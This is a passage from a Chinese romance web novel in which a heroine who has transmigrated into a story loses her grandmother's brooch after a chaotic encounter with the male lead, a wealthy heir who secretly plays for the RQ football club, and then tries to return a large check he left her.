两人从浴室一直找到了宽阔的大厅,少年跟连珠炮似的不断发问,阮柠觉得又吵又烦。
“说出来你可能不信,但我真不是故意的。”
“……”
“你刚刚没受伤吧,我带你去看医生。”
“……”
阮柠始终装听不见,少年百思不得其解,明明自己也道歉了,到底在气什么。
突然,少年露出天才般自信的笑容:“你要气不过,让你也强吻一次好了,咱们扯平。”
“你……”阮柠气的手停下来,瞪了他一眼。
少年突然像狗狗邀功吐舌头一样兴奋大叫:“你来看柜子里有什么!”
阮柠不想走过去,耐不住少年一直叫个不停。耐着性子走过去,看见休息室的墙柜里还储存了大量干净的毛巾,整整齐齐叠了几堆,足够三四个人擦干。
太好了,有毛巾!看样子是之前留下的。
阮柠惊喜地蹲下去去拿,这时少年的脚恰好也伸过来,两人同时愣住。
他满不在乎地哼了一声:“你先。”
阮柠不客气地抓过来躲到一边擦身子。
少年用脚一勾,毛巾活像一条蛇腾空跃起,盘到他手上,全程没弯一下腰。
这人腰挺的直直的,扬起头颅慢悠悠地脱下衣服。看样子平时被人伺候惯了,亲自换衣有些生疏。
这副少爷作派令阮柠心中的反感更深一层。
少年长的高大挺拔。哪怕阮柠刻意不去看他,也无法忽略视野边上有个宽肩窄腰的果身帅哥在擦身体。
浓密的短发滴着水,滴滴水珠沿着运动背心里漏出的锁骨,从流畅紧实的肌肉线条上流淌下来。
他随意抓了一把,每个毛巾擦几下就扔掉。连擦水都是是一副富家公子恣意张扬的派头。
“喂,你到底叫什么名字?”少年丢出一堆毛巾山冷不丁问,半晌又补充了一句,“我会好好补偿你的。”
“不用了。今晚是个意外,我们就当什么事都没发生吧。”
阮柠立马划清界限。
“什么都没发生?”少年眼神钉在阮柠身上,语气加重重复一遍,“……你叫我当什么都没发生?”
“不然呢。”阮柠疑惑不解。
今晚的事只有两人知道,只要商量好不就相当于没发生。
少年扔掉一次都没擦的毛巾冷笑:“好,你既然这么说了,省的我费心。”
他不知道从哪掏出一件高档西装外套重重披在阮柠身上,带起一阵凉风冻得她想打喷嚏,但却严严实实遮住了她混乱不堪的礼服裙。
“这个你先拿着。”
大少爷骄矜地掏出支票簿快速写了几笔,揣到西装口袋里,霸道地挡在她面前:“你到底叫什么名字。”
他为什么对自己名字这么执着?
他知不知道,自己在作案现场自报家门就是个死啊。
今晚就不该多管闲事,阮柠后悔。
阮柠巧妙绕开朝门口走去,碰到胸口时她惊叫:“我的胸针呢?怎么不见了。”
“什么?”少年抬首:“你说什么不见了。”
阮柠心里最后一道防线崩溃,哇一声趴到地上哭着摸索:“我的蜻蜓胸针不见了,我晚上一直戴的好好的,怎么会……”
“嘁,丢个胸针也值得大呼小叫。什么牌子?哪款的——”
“它什么牌子都不是!是我外婆留给我的。”阮柠终于忍不住发火。
她最讨厌富人这副什么都用钱衡量的语气:“难道你家长辈传的东西不小心收着吗。”
泪珠一颗一颗从阮柠眼眶里掉下来。
“你别哭。”少年第一次应对女孩流泪,口气温柔下来,却又下不出什么话。
“一定是刚才……的时候弄掉了。”
回想起刚才的场景,阮柠羞赧含恨,自言自语。
“我真不该该把它戴出来,不戴就不会弄丢了,呜呜……”
初秋晚上夜凉如水,阮柠浑身湿透趴在冰冷的地板上凉上加凉,冻得直打寒颤。
偏偏房里灯坏了放眼望去黑乎乎的一片。
其实她心里清楚,偌大的休息室寻找一枚小小的胸针,无异于大海捞针,只怕要找到猴年马月。
舞会那边倒计时滴答滴答狂响,到底是留下来找还是直接回去,阮柠在心里纠结。
“怎么办啊,胸针是外婆留给妈妈
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的,要是丢了怎么跟她交代。”
忽然一个厚实有力的手掌托起阮柠的手臂,少年浓艳英俊的双眸在黑暗闪耀,沉稳的嗓音说:“起来,别找了。”
“……”
阮柠愣了一下,呆在原地。
少年嫌她没反应,直接跪在地上摸索,刚擦干净的身子又沾上一腿灰。
“愣什么,告诉我东西长什么样。”
语气还是凶的要命。
他不许阮柠接触地面,自己东翻西找摸得满手是灰。
阮柠心里骇然。一直以为他是高高在上的富家少爷,连擦身体时都不愿稍微弯一下腰。现在却弯下身躯毛毛虫似的趴在地上东摸西摸。
震惊之余又有点搞笑。
“看什么看?你找东西不蹲地上?”少年觉察到背后有道疑惑的目光,回头瞪她。
阮柠连连摆手安抚:“没有没有,谢谢你。”
她又小声问:“那找到了吗?”
“还没,”少年回地干脆利落,阮柠轻轻吸了一口气,又改口道,“应该快了,再给我点时间。”
“算了,不找了。”
“谢谢你,我得先走了。”
她真不能再耽搁了。
阮柠在心里又说了声谢谢,不等对方回应头也不回的跑出休息室。
“喂,你——”少年起身,阮柠眨眼消失在黑暗中,生气踢开地上的毛巾。
男女主不要相见!
男女主不要相见!
阮柠一路默念气喘吁吁跑到舞会现场,人们已经陆陆续续散场,宴会大厅留下欢聚后的残迹,忙碌的侍者们推着小车进来挨个收拾残迹。
意外的是,都说传说中的江翊皓竟然从头到尾都没出现。她又一个个追问侍者,都信誓旦旦说没舞会上看到穿白裙被泼脏的小姐。
这是怎么回事,为什么跟游戏剧情里不太一样?
那她算过关了吗?
完全不清楚到底是什么状况,也不知道自己做的对还是错,阮柠懵懵懂懂回到宿舍,等待系统最终的裁决。
凌晨的钟声响起。
【任务圆满完成,女配行动限制暂时解除,故事进入下一章节】
系统闪耀着五颜六色的特效认证她过关了!
阮柠惊诧,刚刚祈祷老天网开一面,竟然稀里糊涂地过关了!
她激动地连蹦带跳扑到床上疯狂拍打。虽然不知道男女主现在怎样,能过关就行了,管它是高分稳过还是低分飘过。
回想今天的经历像坐过山车,忽上忽下心脏病都快吓出来了。
一天下来她累的筋疲力尽,只想舒舒服服洗个澡大睡一场。
至此,她这里一号男主的戏份彻底杀青。她可以卸下负担养精蓄锐攻克下一位了。
啊,自由——
啊,胜利——
阮柠晚上的沮丧失落的心情一扫而光,打开音乐,踮着脚尖旋转进浴室,低头见少年的礼服外套还披在自己身上。
镶缎的西装面料光泽平整,纽扣精致典雅,一看就是价格不菲的高档货。
想起那个人,阮柠心里还有些不高兴。
如果不是他不会丢了蜻蜓胸针,等风头过了,再回去看看吧。希望上保佑她能顺利找回胸针。
看在他也帮过自己的份上不跟他计较了,衣服洗干净后再送回去吧。刚好她也想今天了解一下休息室里发生了什么。
阮柠翻开衣服口袋掏出所有东西。
她摸到一张纸,抽出来一看,这是a国国民银行签发的支票。
阮柠家里做生意开的就是这家银行,对国民银行红底黑框的支票再熟悉不过。
她看到数字时,头皮像电了一下层层发麻。
上面写了两百万,足足6个0。
更令她窒息的是,落款写着龙飞凤舞的“江翊皓”。
5. 第 5 章
她擦了擦眼睛拿到灯光下反反复复翻看,确实是真支票没错。
薄薄的小纸片从指尖凄惨飘落,阮柠内心山呼海啸熔岩喷薄。
那个人真是江翊皓?!
自己千躲万躲居然被仇家强吻,阮柠脑子疼的快炸开了。
原著里江翊皓对她恨之入骨,在黑.瑟会全世界追杀情况下愣是从黑老大手下抢回了恶毒女配自行处决。
她飞快跑进盥洗室,拧开水龙头“呸呸”漱口,努力洗掉男主留下的痕迹。
但事实已经发生,阮柠洗到手指起皱也无力改变已经正面撞上江翊皓的事实。无力又委屈的眼泪润湿了眼角。
支票静静躺在地上,仿佛每个0里都有张笑脸,恶毒地欣赏着她痛不欲生的样子。
这可是整整两百万现金。
江翊皓只要打个电话,警局分分钟能把自己抓起来。加上囚禁曾书雅的事,新仇旧恨加起来她阮柠就算有九条命也不够偿还。
刚才的沾沾自喜全然被支票惊人的位数吓跑,回忆起晚上每一幕都像在阮柠的心尖凌迟。
一定有解决方法的,阮柠踉踉跄跄爬起来。
她突然想起过关后系统奖励她有预览部分剧情的权利,以便为下一次任务做准备。
阮柠毫不犹豫打开。
【滴,剧情载入中……】
剧情显示第二天女主被学校好心的清洁工所救,但单纯善良的曾书雅不相信有人故意害她。清洁工为她抱不平,介绍她到全国连锁的大型清洁公司做兼职。
于是女主在RQ塔伦足球俱乐部工作时,正巧遇到在此化名追梦的男主江翊皓。
男主对她一见钟情火速展开猛烈追求……
等等,系统是说,全校女生朝思暮想的白马王子其实背地里整满场狂跑卖艺?
还有女主刚刚明明已经逃出牢房,怎么会第二天被清洁工救走呢。
阮柠又倒回去看了一遍,原剧情已然发生了偏离。一时槽点太多竟不知从何吐槽起。
且不说江翊皓的身份允不允许,RQ塔伦足球俱乐部也不是随随便便就能进去的。
RQ是a国足球第一豪门,最辉煌的时候同时拿下世冠杯、a国联、共和杯三冠王,连胜15场不败纪录,粉丝遍布全世界。连爸爸这样的沉默寡言的中年男子,跟RQ球星握手后都忍不住转过去偷偷抹泪。
每到重要赛事,塔伦半座城空了。男女老幼浩浩荡荡奔赴RQ主场青里体育馆呐喊助威。要是球队赢了,大巴会载着球队和奖杯全城游行,全市专门放假一天庆祝夺冠。
因此,能签进RQ的球员必定是天才中的天才。
可球星大多条件不好,又累又苦竞争激烈,足球不仅吃天赋,还一不小心就重伤残废。前不久听说有个球员的肾被人一脚踢爆了。
想起到江翊皓养尊处优的派头,阮柠怀疑他真能吃苦当球员?
但现在也没更好的出路,她带着满脑子问号在筋疲力竭中昏昏睡去。
上午十点,艳阳高照。
塔伦城西部的新兴商业区高楼林立,灿烂的阳光勾勒出大都市繁华雄伟的轮廓,塔伦城母亲河——渥依河静静环绕其间。波光粼粼的水面在城市尽头划出一道金色的天际线。
在密密麻麻的钢铁森林中,天空塔俯瞰众生一枝独秀。
这里的大平层最低以亿起价,在客厅便能俯瞰全塔伦的高楼地标和渥依河,纵览整座城市匍匐在脚下。
只因这里地处新兴商业区,住里面的多是一些年轻新贵和外国富豪,而塔伦的老钱们多住在市中心的祖传大宅。
江翊皓像往常一样,带着耳机面罩、双手插兜走进入户大堂。
前台的姑娘们见他来了,相互挤眉弄眼拍肩膀。
在这上班的都知道楼里住着一个绝世大帅哥。每次从走大堂走过犹如一座行走的雕塑,帅的姑娘们不敢呼吸。
尤其是电梯合上的瞬间,人斜靠在电梯鎏金镜面上,修长的大腿懒懒搭在另一条腿上,宛如一张桀骜帅气的电影海报。
但姑娘们平时只敢偷偷欣赏,不敢打扰。
这次前台小姑娘犹豫再三,开口叫住江翊皓。
“江先生,昨晚有人来拜访您。”
“谁?”
江翊皓微微转头,露出轮廓锋利的侧脸。
小姑娘差点帅晕过去,害羞不敢直视江翊皓的眼睛:“是一群人,应该还在上面。”
江翊皓看了一眼,走进电梯。
其实当初他买下这套房就是看中它的隐私。
虽然他们这种阶层的人,家族名下房产无数遍布全世界。但是孩子们通常会偷偷购置一套住所作为自己的自留地。
知道他这窝点的只有两个一起长大发小。
一个整天泡实验室对金钱豪宅完全没兴趣,除了另一个,江翊皓想不到还有谁敢骚扰到他头上。
按钮摁下,60秒内电梯一下到达130层顶层。
电梯门打开,满屋酒气烟味混着隔夜酸气扑面而来,熏的江翊皓皱眉。
8米高的环绕式落地窗客厅里睡横七竖八地睡了一地男男女女,窗外塔伦城景宏伟壮阔,客厅里呼噜声鼾声此起彼伏,酒瓶、食物撒了一地,满屋狼藉。
几乎同时远处地板响起“哒哒哒”的的奔跑声,三只油光水亮的金毛、伯恩山、德牧冲到江翊皓绕着他委屈地摇尾巴,主人你终于回来了。
沙发上的人惊醒,看到江翊皓一骨碌爬起来,兴奋地要起来握手。
“江大少,您回来了……能来参加您的聚会太荣幸了。”
“我们昨天等了你一晚上。昨晚看到了电视上那个什么什么歌星,唱的太**好了。”
“昨晚是我这辈子参加过最爽的派对,您的房子真不错啊,豪宅!……”
江翊皓面色乌沉,挫着狗头咬牙切齿吐出两个字:“步——宸——”又掏出电话喊道:“叫保洁上来,现在!”
他几步冲进客卧一把掀开被窝揪出罪魁祸首。
“睡个球啊!”
“把我家弄成这样、不弄干净今天就爬着回去!”
三只狗子跟主人蹿进来冲着床头吐舌头哈气。
云朵般雪白蓬松的被子窸窣动了几下,半睡半醒露出一张蓬乱覆面的轮廓,看得出是个极品帅哥。
步宸发出惺忪的睡音,嘴角微微勾起,带有几分痞意:“为你特意办的派对,喜欢吗?”
“你们嗨到飞起问我喜不喜欢?”
“那就是喜欢。”步宸嘴角漾起优雅的弧度,拉上被子,“不客气。”
江翊皓狠狠踹他一脚。
世上能让他江翊皓吃瘪的人没几个,步宸算是其中之一。
步宸是三大公爵之一的班庭公爵继承人。两家财力相当,公爵本人担任国家经济部长兼保守党党魁,并且极有可能下届当选内阁总理。圈子里都戏称步宸是未来的“第一公子”。
江翊皓自认为算花钱不眨眼,这个兄弟比他还有过之无不及。
步宸从小就自由散漫、
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热衷吃喝玩乐,世界各地凡有点名头的高档场所没人没听过步公子的大名。
虽然风流浪荡名声在外,但为人风趣豪爽爱玩会玩,在圈里颇得人缘。
前几天他心情不好,步宸笑操心国计民生的都没他抬头纹重,扬言要大办一场帮兄弟洗涤心灵。
江翊皓没当回事,晚上回俱乐部去了。
结果这狗东西真带了一群人来,玩的昏天黑地,人人都焕发生机,除了他这个在训练场包夜的主人。
“我错了,巨星。”步宸翻身换了个舒服的睡姿,“下次你带人去我那开趴,随你开多久。”
江翊皓猛地抱起100多斤的伯恩山拿脚使劲扇他:“搁着奖励自己呢。呵,又奖励自己呢。”
狗子汪汪吠叫,另外两只也跟着吠叫,步宸伸出一只骨节分明的手随意晃了一下:“别吵。爸爸在睡觉,乖。”
江翊皓眼底掠过一丝快意:“你们谁让他睡着,今晚没饭吃。”
三只大狗得到主人指令,撒欢似的围着步宸又舔又叫。
步宸猛然张开被子像鬼一样吓它们:“吼——”
狗子吓得连退三步、尾巴摇出残影,伏在地上冲步宸汪汪吠叫。
江翊皓哈哈大笑。
步宸见好友脸色缓和多了,漫不经心道:“行啊,今年进RQ一队,明年当足坛巨星。身价过亿,体育富豪榜排名第一。”
“那是自然。”江翊皓自信地一口认领,毕竟以他的年纪入选RQ主队能吹一辈子。
“前提是——”步宸突然话锋一转,语气玩味,“你爸妈永远不知道。”
江翊皓脸上的笑容隐去。
“不扫兴会死?”
步宸拉了个枕头蒙住外面射进来刺眼的阳关,半开玩笑道,“只是叫你提早做好准备。咱们家的老板们一不高兴就停卡。人一上了年纪,心都硬的跟结石一样。”
江翊皓觉得荒谬绝伦。
他不爱赌博夜店,只是喜欢踢足球怎么就变成不肖子孙了。难道踢球比当吃喝嫖赌的废物更让祖先抬不起头?
自从他5岁碰到球那刻起,他才感受到心脏真正的跳动。
那一刻,他就明白了此生的梦想。
任天崩地裂也绝不会改变。
管家带着大批清洁人员准时赶到,按照主人吩咐请走了宿醉的客人。团队迅速分工,有条不紊地分散到各个区域开始作业,习惯了替狂欢尽兴的主人收拾残局。
江翊皓发泄完怒气回到自己房间换衣服。忽然,房间里爆发出雷般的震怒:“步宸!”
江翊皓的怒火几乎燃遍一千八百多平的豪宅,现场所有人全体惊呆,停下了手头工作面面相觑。
少爷这是怎么了,为什么生这么大气?
江翊皓三步并两步跑到步宸床头,一把从被子里揪出他怒吼:“我桌上的蜻蜓呢?”
步宸张口打了个哈欠:“130层还有蜻蜓?”
“我桌上的钻石蜻蜓!它哪去了?”翊皓眼里要喷出火来。
那天阮柠走后,他本可一走了之,不知为何他继续摸黑找了半天,终于在浴缸后面找到了她心心念念的蜻蜓胸针。
他派人去找过阮柠,但一直没消息。
刚回房时发现每天放桌上的胸针连盒带物都不见了。江翊皓神经一紧,当年在国外旅行丢了一百万的表也没现在这么挂心。
步宸打了个盹儿,漫不经心:“什么牌子,哪款。”
“它什么牌子都不是!给我找,别睡了!”
6. 第 6 章
步宸第一次见江翊皓发这么大脾气,懒洋洋起床。
“怎么了,不就是个胸针吗。”
江翊皓命令家里所有佣人一起寻找,室内顿时气氛紧张。人们趴着、跪着、屋内里里外外一寸一寸翻,时不时抬头瞟一眼少爷的眼色。
步宸随便找了一会儿便在倒在床上:“昨天人多手杂肯定找不到了。”
“拿来。”
趴在床底的江翊皓缓缓起身伸出手掌,凌厉的目光几乎要刺穿好友的眼睛。
“什么?”步宸不明白。
“我的家的钥匙。”江翊皓咬着牙,眼里的火光能烧出一池滚烫的岩浆。
步宸以为自己听错了,笑道:“你要收回我钥匙?”
旁边的下人们瞬时停下手中的活,竖起耳朵。少爷竟然为了一个胸针要收回步少爷的钥匙。
众所周知两位少爷好的不分彼此,以前步少爷还有把家里弄的更过分的情况,也没见少爷当回事。少爷今天竟然为了一个胸针要赶步少爷出去。
一时仆人间人心惶惶,更加小心手上的动作,唯恐撞上少爷的枪口。
步宸习惯了发小的火爆脾气,翘着脚尖依旧笑容不改:“你江翊皓能分分钟买下一条产业链,冲我发哪门子邪火。”
江翊皓逼近他眼神一暗:“把昨晚的名单给我。”
“要名单做什么?”
“别废话,把昨晚的名单给我。”江翊皓耐心耗尽。
步宸见他来真的,低声道:“别犯浑,谁要你的胸针。难不成你一家家去搜。”
“找不回来就别怪我不念兄弟情。”江翊皓“刷”一下抓起步宸的领子,指节攥的发白。
屋内气氛顿时剑拔弩张,房间静的落针可闻。江翊皓、步宸两人瞪视对方互不退让,佣人们的目光在两位少爷之间心惊胆战地来回飘移。
步宸歪了歪脑袋,琥珀色浅瞳穿过额前乱发发出星耀的光芒。
他突然朝江翊皓噗嗤一笑:
“到底是谁的胸针,让你宝贝成这样。”
“说吧,到底是哪位小姐。叫什么名字,我见过没?”
江翊皓铁青的脸色瞬间红了一下,恶狠狠说:“少胡说八道,就、就是一个胸针!要么找要么滚。”
刚才大气也不敢出的下人们顿时送了一口气,彼此交换一个八卦眼神。
这段时间少爷每晚呆在房间里对着胸针出神,还专门定制了个高级珠宝盒谁都不许碰。
大家私下都在猜胸针到底是谁的,结果没一个人说的出来。
步宸慢条斯理叫脖子气到发红的发小冷静:“既然不重要丢了就丢了呗。”
“这是她外婆留给她的,我要还回去!”江翊皓粗声粗气。
步宸迅速捕捉到一丝暧昧的蛛丝马迹,拉长语调:“哦,她外婆的——”
“……”
江翊皓眼里的火星几乎快把步宸烧成灰。
“没出息。”步宸嗤笑,“什么年代了还玩定情信物……”
佣人们忍住笑,跟少爷相比,步少爷的确太有出息了。
与不近女色的少爷不同,步少爷换女伴比换衣服还勤。他身边的美女上至名门千金下至网红明星遍布海内外,有八卦媒体还专门出过盘点特辑。
步少爷抛开花心的毛病长得确实长的万一挑一的帅,正儿八经的顶级贵族出身,对人又大方,浪荡不羁的气质吸引了大美女们前仆后继地扑上去都想把他收服。可惜步少爷每次只谈几个的月,至今没一个人能让他定下来。
步宸枕着胳膊换了一只脚:“一起约出来玩呗,我真好奇谁能让你失魂成这样。”
“发展到哪一步了。”
“怎么认识的,为什么从没听你说过。”
身为情场老手,步宸早过了对着姑娘信物朝思暮想的阶段,但不妨碍他想看兄弟热闹。
江翊皓听着心烦,直接把人从床上薅下来赶出门去:“走走走,这里没你事了。”
“哟,认真了。”步宸巴着房门回首笑嘻嘻,“有问题直接问我,现成的师傅摆你面前——”
“还不快滚!回头跟你算帐。”
后来,下人们把整个屋子翻了遍,终于在狗窝里找到被咬得齿痕乱轧的首饰盒。里面的蜻蜓也没好到哪里去,脱落了几颗钻石。
江翊皓狠狠揍了一顿肇事金毛,关一天禁闭。德牧、伯恩山连带看护责任也罚关半天,亲自开车送到宫廷御用修首饰世家的老师傅那去。
师傅检查了一遍说问题不大,只是要修的一模一样至少需要一周。
江翊皓点头说行,心里空落落地开车回家。
夜幕降临。
巨大的天幕落地窗外高楼大厦霓虹闪烁琳琅璀璨,车流汇聚如同一条条闪烁的银河。
江翊皓每晚有定期训练,今天举铁不知怎的总找不到感觉,走到窗边发呆。
刑满释放的三只狗低眉顺眼走地过来,江翊皓摸了摸毛绒绒的狗子喃喃自语:“真能修的一模一样吗。她不会看出什么吧。”
金毛嗷呜伸出粉色的大舌头舔了一口江翊皓的手。
“舔狗。”江翊皓嫌弃拍下。
自从休息室一别后阮柠也不好过。
系统虽然判定她完成了第一个任务,但她心里总觉得不踏实。
阮柠花了一番功夫终于弄清楚了那天曾书雅为何突然消失不见。
原来曾书雅还没入学就加入了校内勤工俭学联盟,有所有公共休息室的备用钥匙,任何休息室都困不住她。
那天,曾书雅从密室逃出来后本想找她问清楚怎么回事,谁知中途被勤工俭学联盟的老师叫走,说是有个好消息要告诉她。
老师看曾书雅出身贫困又努力上进,早就喜欢上了这个坚强乐观的姑娘。刚好家里有个亲戚在一家大型全国连锁清洁公司当主管,最近需要招一些兼职,老师立马就想到了曾书雅。
老师介绍的兼职正是原作中的保洁兼职。
新兼职时薪比学校里高一倍不说,工作量还没大多少。每周只要去几次就能把当月的伙食费挣回来,对刚入大学的穷学生来来说绝对称得上一个天大的好消息。于是曾书雅高兴地当即把小黑屋事件忘的一干二净。
阮柠惊呆了,偏离的剧情居然跟原作在这里达成了奇妙的契合,她一路踩着香蕉皮摔的东倒西歪竟也蒙过了系统。
死里逃生的阮柠扑通一下跪下来,对着上天双手合十。
“感谢老天放我一马。感谢、感谢!”
“求您保佑我下个任务也顺顺利利,不要再出幺蛾子了。”
阮柠心里是真的怕,她只想老老实实做任务快点摆脱系统,任何剧情外的偏差都吓的她寝食难安。
比如江翊皓留下的这张支票。
休息室一别后,阮柠没睡过一个好觉,随身揣着两百万盼着在学校里碰到江翊皓立即还给他。
她等了几天也没见江家派人来找她,江翊皓本人更是行踪不明更是连影子都没看到。
前几天跟家里视频通话时,爸妈问她脸色为什么这么差,是不是生病了。
阮柠腹诽随身揣着两百万定时炸弹脸色能不差吗。
与此同时原女主那边一切按照原剧情飞速发展。
曾书雅顺利进入了保洁公司,也如原作一样玛丽苏光环大作,她勤劳肯干又有名校光环,很快博得主管同事上下一致喜爱。算算日子没过几天就要去RQ训练基地跟男主正式见面了。
阮柠急的像热锅上的蚂蚁。
原作里江翊皓自从正式见了女主后,对她一见钟情,从此身边不许任何异性靠近。
也就是说,她要不在男女主见面之前把钱还了,以后就再也还不上了。
阮柠惊出一身冷汗。
现在唯一有可能把找到江翊皓地方就是RQ训练基地,可百年豪门俱乐部岂是她这个小虾米能随意进出的。
RQ里面大牌云集、球员最低也身价几千万,平时有专门的通道将球员们方方面面严格保护起来防止外人侵扰。
目前她只知道江翊皓在里面踢球,别的一概不知。她作为游客最多在院子里转转,想要深入内部寻人根本不可能。
阮柠顶着沉重的课业见缝插针地去找了几天,结果也如她一样预想一样
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一无所获。
时间不知不觉到了男女主相见的当天,阮柠只剩下最后一天机会。她狠心请了一上午的假,大早上赶去RQ训练基地最后一搏。
RQ训练基地在塔伦城北部度假区,风景优美地域广阔像一座高尔夫度假村。只是位置实在太偏远,阮柠每次从学校来都需要先坐公交到火车站,坐半小时左右的火车赶回塔伦城,再转一个多小时地铁连换三种交通工具,折腾两个多小时才能到。
阮柠第一次这么早来到训练基地,她一路劳顿总算到了大门口,意外发现今天大门紧闭,谢绝一切游客入内。
RQ影响力遍及全球,几乎每天有世界各地的球迷、社会团体慕名访问。因此基地除了节假日从不关门,24小时有人值守。
有些远道而来的球迷还想进园,零星几个保安面容严肃不许任何人进入。
阮柠莫名其妙,RQ不是全天不打烊吗,怎么偏偏在她最关键的一天关门。不管用什么方法,今天她一定进去谁也拦不住!
阮柠坚持不懈绕着旷阔的围墙走了好久,终于在一个荒芜的空地上找到一个狗洞。她左右瞄了一眼,无奈钻进去。
进去后四周都是空旷无人的草坪。此刻才8点出头,大部分员工还没正式上班,阮柠顾不上喘气哼哧哼哧跑向训练中心大厦。
基地内部又大又空,到处都是一望无际的草皮和足球场。阮柠跑了十来分钟终于到达大厦门口,弯下腰狠狠咳嗽了几声。大早上给一个基本不动的宅女来一套拉练实在太超过了。
她之前来过几次,俱乐部的办公室、训练室、食堂、球员宿舍都在大厦里面,阮柠基本摸熟了内部地图。现在才8点,员工都没上班照理说里面应该很安静,但阮柠听着大厦里面好像吵吵嚷嚷的,气氛有些诡异。
阮柠拢了拢住双肩包背带小步迈入。刚进入迎宾大厅,阮柠差点惊掉下巴,三步并两步极速退回赶紧找个安全的角落躲起。
她不敢相信自己看到了什么:
一群人群穿着橙马甲拉着横幅“还我血汗钱”“RQ黑心店”站在大厅维泉。为首的粗矮胖子站在最前头拿喇叭大喊:“RQ倒闭,还我们血汗钱!”
俱乐部仅有的几个工作人员和保安努力维持秩序,无奈对方人多势众奈何不得。
阮柠震撼到久久不能回神。
闻名世界的RQ俱乐部居然拖欠工钱?
若不是亲眼所见,她不敢相信全球闻名的豪门大俱乐部居然拖欠工人薪水。
维权人士带了很多垃圾袋堆在大厅,垃圾臭气熏天、有些袋子破了流出腐臭污糟的汁水淌了一地。阮柠躲在远处都能到臭味,现场的工作人员更是恶心的不敢靠近。
阮柠自叹倒霉,她只是想找江翊皓还钱竟然撞上俱乐部内部丑闻。
为什么每次碰到江翊皓都没什么好事?到底什么时候才能彻底自由?阮柠委屈极了。
工作人员捏着鼻子劝胖子不要闹事,等经理上班了一定给他们一个答复。胖子并不买账:“不行!不给钱我们就不走。让外人看看大名鼎鼎的RQ拖欠工人工钱!”
阮柠小声附和,据她所知,RQ每年付给球星的工资就有3、4亿,拖欠工资太不应该了。
当看到维泉人士对工作人员又推又骂唾沫星子喷到人家脸上,阮柠也于心不忍。说到底他们也只是底层打工仔,何必为难人家。
大厅乱的像菜市场,还散发着挥之不去的臭味,大家各说各的激动时推搡打骂,场面失控只在片刻之间。
阮柠心里呐喊有没有来管管啊。
嘈嘈切切的哄闹声中突然响起一个气势逼人雷霆万钧的骂声:“大早上吵什么吵?!”
全场顿时安静。
喂泉人群全体震住不自觉让开一条道,江翊皓赫然出现在道路尽头,神色轻蔑慢慢踱到前头,挡住身后的工作人员。
阮柠目光一振,眼泪差点掉下来。
是江翊皓!
他终于出现了!
江翊皓穿着藏青卫衣,高大帅气的的完美运动员身材人群中霸气天成,张扬锋锐,声音还是熟悉的又凶又不耐烦。
7. 第 7 章
早上6点半,江翊皓准时起床。
外人都以为他身为塔佩伯爵继承人一定过着夜夜笙歌醉生梦死的日子,其实他生活极其简单单调。
他每天早起来先游半小时唤醒身体,再喝一杯营养特调去俱乐部训练基地吃早餐,进行专业训练,再在上课之前赶回学校,一年365天天天如此。
身为专业足球运动员,江翊皓有严格的饮食计划。球队配备了专门的厨师和营养师负责他的一日三餐。无论在俱乐部还是在家里,江翊皓每天只吃清淡少油少盐的健康食物。
江翊皓带两个步宸和柏星邈两个发小体验过他的一日三餐。步宸笑和尚都比他吃的有滋味,另一个发小虽然没说什么,但是清冷寡言不讲究吃穿的他也没多吃一口。
江翊皓并不在乎,他很享受为了足球放弃一切享受的严格的生活,私下聚会也要求大家跟他一起自律节食。久而久之,大家都不喊他出来吃饭了。
江翊皓换好衣服戴上每天出门必备的帽子口罩走进车库。车库里各种品牌的豪车像玩具似的整整齐齐排成一列,江翊皓从墙角挑出一辆毫不起眼二手小电车,插上钥匙出发。
从天空塔到训练基地要1个多小时,江翊皓受不得寂寞,每天都要随机挑选一位幸运观众陪他唠到俱乐部。
昨天已经骚扰过了队长,今天就RQ塔伦的足球总监老方吧。
“就你了。”
江翊皓命令手机拨打号码。
电话嘟嘟响了两声迅速接通,江翊皓有些意外,皱紧眉头:“喂,老方,你怎么还没睡?”
话筒里音充斥着嘈杂刺耳派对背景音,一个五十多岁的男低音对准话筒咳了几句。
“你小子又搞什么鬼?我在陪客户,有事去找阿梅。”
老方语调有些醉意,显然今晚喝多了。
“你还有脸说我,下个月就开赛了知道不?!”江翊皓心口激动地上下,恨不得现在就把老方他们全揪回来。
他13岁化名张皓进入青训营,跟队里上上下下都混的很熟。上至老板下至大巴师傅都把他当亲儿子看待,所以有恃无恐经常有什么说什么。
上赛季RQ破天荒掉到联赛第九,创下球队十年来最差战绩。球迷都骂翻了天,江翊皓也跟骂了半年。
年初他选上了一线队,高兴之余全身闷着一口气就想报仇雪恨。而且新赛季撞上流行病推迟了一个月开赛,正是厉兵秣马一雪前耻的好时候,谁知比赛前夕老方带着一队主力飞去c国巡演。
江翊皓火气压不住的往脑门冲。不打热身赛跑去圈钱是什么意思,打算今年又被人踢个0:4,0:3吗?!
老方早料到了江翊皓会不满,缓缓接住了他的暴躁发泄:“叫什么叫,你小子给我消停点。球队的财务状况你又不是不清楚,别耍小孩脾气。”
“什么叫我耍小孩脾气,我还有笔账没跟你算!”
说起这事江翊皓就冒火。
他知道俱乐部近年财政赤字严重,各项目能砍就砍,大力节约开支。没想到队里开源节流也会节到他身上。
江翊皓想不通自己一个连盐都不怎么吃的人那晚怎么就中药了,后来发现是后勤干的好事。
后勤为了省钱把原来特供营养剂换成了便宜货,江翊皓毫不知情像往常一样跟家的特调混着喝,结果混出了大事。
“你赶紧给我把营养剂换回来!”
“新营养剂不挺好的吗,凑合喝吧。”
“好个毛线,差点害死我。”
“什么事你说清楚?”一听到涉及江翊皓的安全老方瞬间酒醒了,恢复总监的专业态度严肃追问,“什么情况你说。发生什么事了?怎么没人跟我反映。”
“……”
江翊皓想到那晚荒唐尴尬地顿口无言:“总之你别管了,叫你换就换。你们到底什么时候回来?”
“自己去看通告。”老方语气很坚定,他是职业经理人,不可能因为一个球员改变全盘计划,“我不弄点钱回来,让全队喝西北风吗。”
又哭穷,江翊皓不齿。
车开到十字路口赶上一盏红灯,江翊皓拉下刹车,不耐烦问:“还差多少,你说个数。”
“口气不小啊,”老方哈哈大笑,“别人叫你小老板你就真是老板了。
江翊皓听到“小老板”三个字,紧绷的嘴角悄然松下来,浮现出一抹浅浅的得意。他在RQ混了这么多年外号一箩筐,最喜欢的当属小老板这个外号。
他平时基本上都泡在队里,有什么大大小小的事都会去掺合一脚。不知哪时起“小老板”的外号在球队私下传播开来,连老板都这么叫他。
老方随便列了一条清单笑道:“养草皮、团队工资、体育馆维护、公关推广、青训费你能付的起哪个?”
“哎,我还真——”江翊皓差点脱口而出,紧急闭上了嘴巴,不能一时冲动泄了自己的老底。
一旦他的身份曝光,先不说家里,以老方谨慎的个性说不定第一个把他请出去。
